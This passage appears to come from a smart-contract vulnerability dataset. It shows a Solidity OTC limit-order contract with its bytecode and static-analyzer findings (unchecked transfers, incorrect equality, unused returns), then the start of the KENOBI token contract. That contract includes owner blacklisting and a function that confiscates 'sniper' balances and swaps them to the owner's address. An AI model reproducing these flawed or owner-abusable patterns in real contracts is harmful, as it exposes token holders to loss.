(address => uint256) public clientMinTokens; //Client Limit Order mapping (address => uint256) public clientTokenBalances; //Client Token balance mapping (address => uint256) public clientTokenFees; //Total OTC Fees mapping (address => uint256) public purchaseTimestamp; //Withdrawal timestamp uint256 constant ONE_DAY_SECONDS = 86400; uint256 constant FIVE_MINUTE_SECONDS = 300; mapping(address => bool) public triggerAddresses; //Bot Trigger Addresses IERC20 token; IUniswapExchange exchange; //Min volume values uint256 public minEthLimit; //Min Volume uint256 public maxTokenPerEth; //Min Price constructor(address _exchangeAddress, uint256 _minEthLimit, uint256 _maxTokenPerEth) public { exchange = IUniswapExchange(_exchangeAddress); exchangeAddress = _exchangeAddress; tokenAddress = exchange.tokenAddress(); token = IERC20(tokenAddress); owner = msg.sender; minEthLimit = _minEthLimit; maxTokenPerEth = _maxTokenPerEth; totalClients = 0; } /** * @dev OTC Provider. Gives right to fee withdrawal. */ modifier onlyOwner() { require(msg.sender == owner, "Unauthorized"); _; } /** * @dev Authorized Purchase Trigger addresses for mempool bot. */ modifier onlyTrigger() { require(msg.sender == owner || triggerAddresses[msg.sender], "Unauthorized"); _; } /** * @dev Trigger Uniswap contract, drains client's ETH balance. * Computes fee as spread between execution price and limit price. */ function executeLimitOrder(address _client, uint256 deadline) public onlyTrigger returns (uint256, uint256) { //Avoids Uniswap Assert Failure when no liquidity (gas saving) require(token.balanceOf(exchangeAddress) > 0, "No liquidity on Uniswap!"); //27,055 Gas uint256 ethBalance = clientEthBalances[_client]; uint256 tokensBought = exchange.getEthToTokenInputPrice(ethBalance); uint256 minTokens = clientMinTokens[_client]; require(tokensBought >= minTokens, "Purchase amount below min tokens!"); //27,055 Gas uint256 spreadFee = tokensBought - minTokens; //Tokens bought, set balance 0 clientEthBalances[_client] = 0; //Reset state clientMinTokens[_client] = 0; //Reset state clientTokenBalances[_client] += minTokens; //Add to balance clientTokenFees[_client] += spreadFee; //Add to balance purchaseTimestamp[_client] = block.timestamp + ONE_DAY_SECONDS; //Call Uniswap contract exchange.ethToTokenSwapInput.value(ethBalance)( tokensBought, deadline ); return (minTokens, spreadFee); } /** * @dev Add Trigger address. */ function setTriggerAddress(address _address, bool _authorized) public onlyOwner { triggerAddresses[_address] = _authorized; } /** * @dev Get max limit price. */ function getMaxTokens(uint256 _etherAmount) public view returns (uint256) { return _etherAmount * maxTokenPerEth; } /** * @dev Fund contract and set limit price (in the form of min purchased tokens). * Excess value is refunded to sender in the case of a re-balancing. */ function setLimitOrder(uint256 _tokenAmount, uint256 _etherAmount) public payable { require(_etherAmount >= minEthLimit, "Insufficient ETH volume"); require(_tokenAmount <= maxTokenPerEth * _etherAmount, "Excessive token per ETH"); require(_etherAmount == clientEthBalances[msg.sender] + msg.value, "Balance must equal purchase eth amount."); if (!clientExists[msg.sender]) { clientExists[msg.sender] = true; clients.push(msg.sender); totalClients += 1; } //Increment client balance clientEthBalances[msg.sender] += msg.value; clientMinTokens[msg.sender] = _tokenAmount; } /** * @dev Return if purchase would be autherized at current prices */ function canPurchase(address _client) public view returns (bool) { //Avoids Uniswap Assert Failure when no liquidity (gas saving) if (token.balanceOf(exchangeAddress) == 0) { return false; } uint256 ethBalance = clientEthBalances[_client]; if (ethBalance == 0) { return false; } uint256 tokensBought = exchange.getEthToTokenInputPrice(ethBalance); uint256 minTokens = clientMinTokens[_client]; //Only minimum amount of tokens return tokensBought >= minTokens; } /** * @dev Withdraw OTC provider fee tokens. */ function withdrawFeeTokens(address _client) public onlyOwner { require(clientTokenFees[_client] > 0, "No fees!"); require(block.timestamp > purchaseTimestamp[_client], "Wait for client withdrawal."); uint256 sendFees = clientTokenFees[_client]; clientTokenFees[_client] = 0; token.transfer(msg.sender, sendFees); } /** * @dev Withdraw OTC client purchased tokens. */ function withdrawClientTokens() public { require(clientTokenBalances[msg.sender] > 0, "No tokens!"); uint256 sendTokens = clientTokenBalances[msg.sender]; clientTokenBalances[msg.sender] = 0; purchaseTimestamp[msg.sender] = block.timestamp + FIVE_MINUTE_SECONDS; //Unlock in 5minutes token.transfer(msg.sender, sendTokens); } /** * @dev Withdraw OTC client ether. */ function withdrawEther() public { require(clientEthBalances[msg.sender] > 0, "No ETH balance!"); uint256 sendEth = clientEthBalances[msg.sender]; clientEthBalances[msg.sender] = 0; payable(msg.sender).transfer(sendEth); } /** * @dev Get eth balance of contract. */ function contractEthBalance() public view returns (uint256) { return address(this).balance; } /** * @dev Get token balance of contract */ function contractTokenBalance() public view returns (uint256) { return token.balanceOf(address(this)); } }
0x60806040526004361061014b5760003560e01c80638da5cb5b116100b6578063d37ee6c01161006f578063d37ee6c01461068a578063e876f4af146106f3578063eab2e10114610758578063f288dc10146107bd578063f88af21d146107e8578063fbe158af146108635761014b565b80638da5cb5b1461048c5780639cd01605146104e35780639d76ea581461053a5780639e9aed6214610591578063c9b0da6a146105bc578063cdf864e8146106215761014b565b80635c02b71e116101085780635c02b71e146103225780635d58ce36146103715780637362377b1461039c57806376755118146103b3578063798053d11461041857806381cf28f51461042f5761014b565b806302dda028146101505780630bd16007146101c65780630e08b0e31461022b57806311aa4c81146102565780633e3b429a1461028157806344c07a9f146102ea575b600080fd5b34801561015c57600080fd5b506101a96004803603604081101561017357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b4565b604051808381526020018281526020019250505060405180910390f35b3480156101d257600080fd5b50610215600480360360208110156101e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f10565b6040518082815260200191505060405180910390f35b34801561023757600080fd5b50610240610f28565b6040518082815260200191505060405180910390f35b34801561026257600080fd5b5061026b610f2e565b6040518082815260200191505060405180910390f35b34801561028d57600080fd5b506102d0600480360360208110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f34565b604051808215151515815260200191505060405180910390f35b6103206004803603604081101561030057600080fd5b81019080803590602001909291908035906020019092919050505061119e565b005b34801561032e57600080fd5b5061035b6004803603602081101561034557600080fd5b81019080803590602001909291905050506114dc565b6040518082815260200191505060405180910390f35b34801561037d57600080fd5b506103866114ea565b6040518082815260200191505060405180910390f35b3480156103a857600080fd5b506103b16114f2565b005b3480156103bf57600080fd5b50610402600480360360208110156103d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167a565b6040518082815260200191505060405180910390f35b34801561042457600080fd5b5061042d611692565b005b34801561043b57600080fd5b5061048a6004803603604081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611900565b005b34801561049857600080fd5b506104a1611a1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104ef57600080fd5b506104f8611a42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054657600080fd5b5061054f611a68565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059d57600080fd5b506105a6611a8e565b6040518082815260200191505060405180910390f35b3480156105c857600080fd5b5061060b600480360360208110156105df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b6f565b6040518082815260200191505060405180910390f35b34801561062d57600080fd5b506106706004803603602081101561064457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b87565b604051808215151515815260200191505060405180910390f35b34801561069657600080fd5b506106d9600480360360208110156106ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ba7565b604051808215151515815260200191505060405180910390f35b3480156106ff57600080fd5b506107426004803603602081101561071657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bc7565b6040518082815260200191505060405180910390f35b34801561076457600080fd5b506107a76004803603602081101561077b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bdf565b6040518082815260200191505060405180910390f35b3480156107c957600080fd5b506107d2611bf7565b6040518082815260200191505060405180910390f35b3480156107f457600080fd5b506108216004803603602081101561080b57600080fd5b8101908080359060200190929190505050611bfd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561086f57600080fd5b506108b26004803603602081101561088657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c39565b005b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061095b5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6109cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a9057600080fd5b505afa158015610aa4573d6000803e3d6000fd5b505050506040513d6020811015610aba57600080fd5b810190808051906020019092919050505011610b3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f206c6971756964697479206f6e20556e697377617021000000000000000081525060200191505060405180910390fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd7724c3836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610bf757600080fd5b505afa158015610c0b573d6000803e3d6000fd5b505050506040513d6020811015610c2157600080fd5b810190808051906020019092919050505090506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080821015610cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611ffe6021913960400191505060405180910390fd5b600081830390506000600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550620151804201600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f39b5b9b85858a6040518463ffffffff1660e01b815260040180838152602001828152602001925050506020604051808303818588803b158015610ec257600080fd5b505af1158015610ed6573d6000803e3d6000fd5b50505050506040513d6020811015610eed57600080fd5b810190808051906020019092919050505050818195509550505050509250929050565b60076020528060005260406000206000915090505481565b60035481565b600f5481565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ff857600080fd5b505afa15801561100c573d6000803e3d6000fd5b505050506040513d602081101561102257600080fd5b810190808051906020019092919050505014156110425760009050611199565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415611099576000915050611199565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd7724c3836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b810190808051906020019092919050505090506000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508082101593505050505b919050565b600e54811015611216576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e73756666696369656e742045544820766f6c756d6500000000000000000081525060200191505060405180910390fd5b80600f5402821115611290576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45786365737369766520746f6b656e207065722045544800000000000000000081525060200191505060405180910390fd5b34600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054018114611329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180611fd76027913960400191505060405180910390fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611447576001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016003600082825401925050819055505b34600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600f5482029050919050565b600047905090565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4e6f204554482062616c616e636521000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611676573d6000803e3d6000fd5b5050565b600a6020528060005260406000206000915090505481565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4e6f20746f6b656e73210000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061012c4201600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118c157600080fd5b505af11580156118d5573d6000803e3d6000fd5b505050506040513d60208110156118eb57600080fd5b81019080805190602001909291905050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b2f57600080fd5b505afa158015611b43573d6000803e3d6000fd5b505050506040513d6020811015611b5957600080fd5b8101908080519060200190929190505050905090565b60086020528060005260406000206000915090505481565b60056020528060005260406000206000915054906101000a900460ff1681565b600b6020528060005260406000206000915054906101000a900460ff1681565b60096020528060005260406000206000915090505481565b60066020528060005260406000206000915090505481565b600e5481565b60048181548110611c0a57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cfb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611db0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4e6f20666565732100000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544211611e64576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5761697420666f7220636c69656e74207769746864726177616c2e000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f9657600080fd5b505af1158015611faa573d6000803e3d6000fd5b505050506040513d6020811015611fc057600080fd5b810190808051906020019092919050505050505056fe42616c616e6365206d75737420657175616c2070757263686173652065746820616d6f756e742e507572636861736520616d6f756e742062656c6f77206d696e20746f6b656e7321a26469706673582212202bce01bc4c059409785abff8e6ef009fe9068cb4a6051c2776ab72b16fa551d564736f6c63430006010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,924
0x4ee29395402a7bb56c493fb2dbdd06c84b0f65da
/** *Submitted for verification at Etherscan.io on 2022-05-04 */ /** // SPDX-License-Identifier: Unlicensed Anti-Bot / Anti-Snipe: Activated - bots will be blacklisted 100% STEALTHLAUNCH. Max Wallet 3% / Max Tx 2% 3% on buys and sells at launch No team tokens */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; mapping(address => bool) internal authorizations; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); authorizations[_owner] = true; } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require( owner() == _msgSender() || isAuthorized(_msgSender()), "Ownable: caller is not allowed" ); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function authorize(address adr) public onlyOwner { authorizations[adr] = true; } function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KENOBI is Context, IERC20, Ownable { using SafeMath for uint256; uint256 MAX_INT = 115792089237316195423570985008687907853269984665640564039457584007913129639935; string private constant _name = "KENOBI"; string private constant _symbol = "KENOBI"; uint8 private constant _decimals = 9; address[] private _sniipers; mapping(address => uint256) _balances; mapping(address => uint256) _lastTX; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isSniiper; mapping(address => bool) private _liquidityHolders; mapping(address => bool) private bots; uint256 _totalSupply = 1000000000 * 10**9; //Buy Fee uint256 private _taxFeeOnBuy = 3; //Sell Fee uint256 private _taxFeeOnSell = 3; //Original Fee uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; address payable private _marketingAddress; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; bool private transferDelay = true; bool sniiperProtection = true; uint256 private wipeBlocks = 1; uint256 private launchedAt; uint256 public _maxTxAmount = 20000000 * 10**9; //2 uint256 public _maxWalletSize = 30000000 * 10**9; //3 uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), MAX_INT); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_marketingAddress] = true; //multisig _liquidityHolders[msg.sender] = true; _marketingAddress = payable(msg.sender); emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setWipeBlocks(uint256 newWipeBlocks) public onlyOwner { wipeBlocks = newWipeBlocks; } function setSniiperProtection(bool _sniiperProtection) public onlyOwner { sniiperProtection = _sniiperProtection; } function byeByeSniipers() public onlyOwner lockTheSwap { if (_sniipers.length > 0) { uint256 oldContractBalance = _balances[address(this)]; for (uint256 i = 0; i < _sniipers.length; i++) { _balances[address(this)] = _balances[address(this)].add( _balances[_sniipers[i]] ); emit Transfer( _sniipers[i], address(this), _balances[_sniipers[i]] ); _balances[_sniipers[i]] = 0; } uint256 collectedTokens = _balances[address(this)] - oldContractBalance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( collectedTokens, 0, path, _marketingAddress, block.timestamp ); } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradingOpen, "TOKEN: Trading not yet started"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require( !bots[from] && !bots[to], "TOKEN: Your account is blacklisted!" ); if (sniiperProtection) { if ( launchedAt > 0 && from == uniswapV2Pair && !_liquidityHolders[from] && !_liquidityHolders[to] ) { if (block.number - launchedAt <= wipeBlocks) { if (!_isSniiper[to]) { _sniipers.push(to); } _isSniiper[to] = true; } } } if (to != uniswapV2Pair) { if (from == uniswapV2Pair && transferDelay) { require( _lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys" ); } require( balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!" ); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0 ether) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ( (_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair) ) { takeFee = false; } else { //Set Fee for Buys if (from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; } } _lastTX[tx.origin] = block.timestamp; _lastTX[to] = block.timestamp; _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 ethAmt = tokenAmount.mul(85).div(100); uint256 liqAmt = tokenAmount - ethAmt; uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( ethAmt, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); addLiquidity(liqAmt, amountETH.mul(15).div(100)); } function sendETHToFee(uint256 amount) private { (bool success, ) = _marketingAddress.call{value: amount}(""); require(success); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function openTrading() public onlyOwner { tradingOpen = true; sniiperProtection = true; launchedAt = block.number; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) { _transferNoTax(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner { for (uint256 i = 0; i < recipients.length; i++) { _transferNoTax(msg.sender, recipients[i], amount[i]); } } function _transferStandard( address sender, address recipient, uint256 amount ) private { uint256 amountReceived = takeFees(sender, amount); _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function 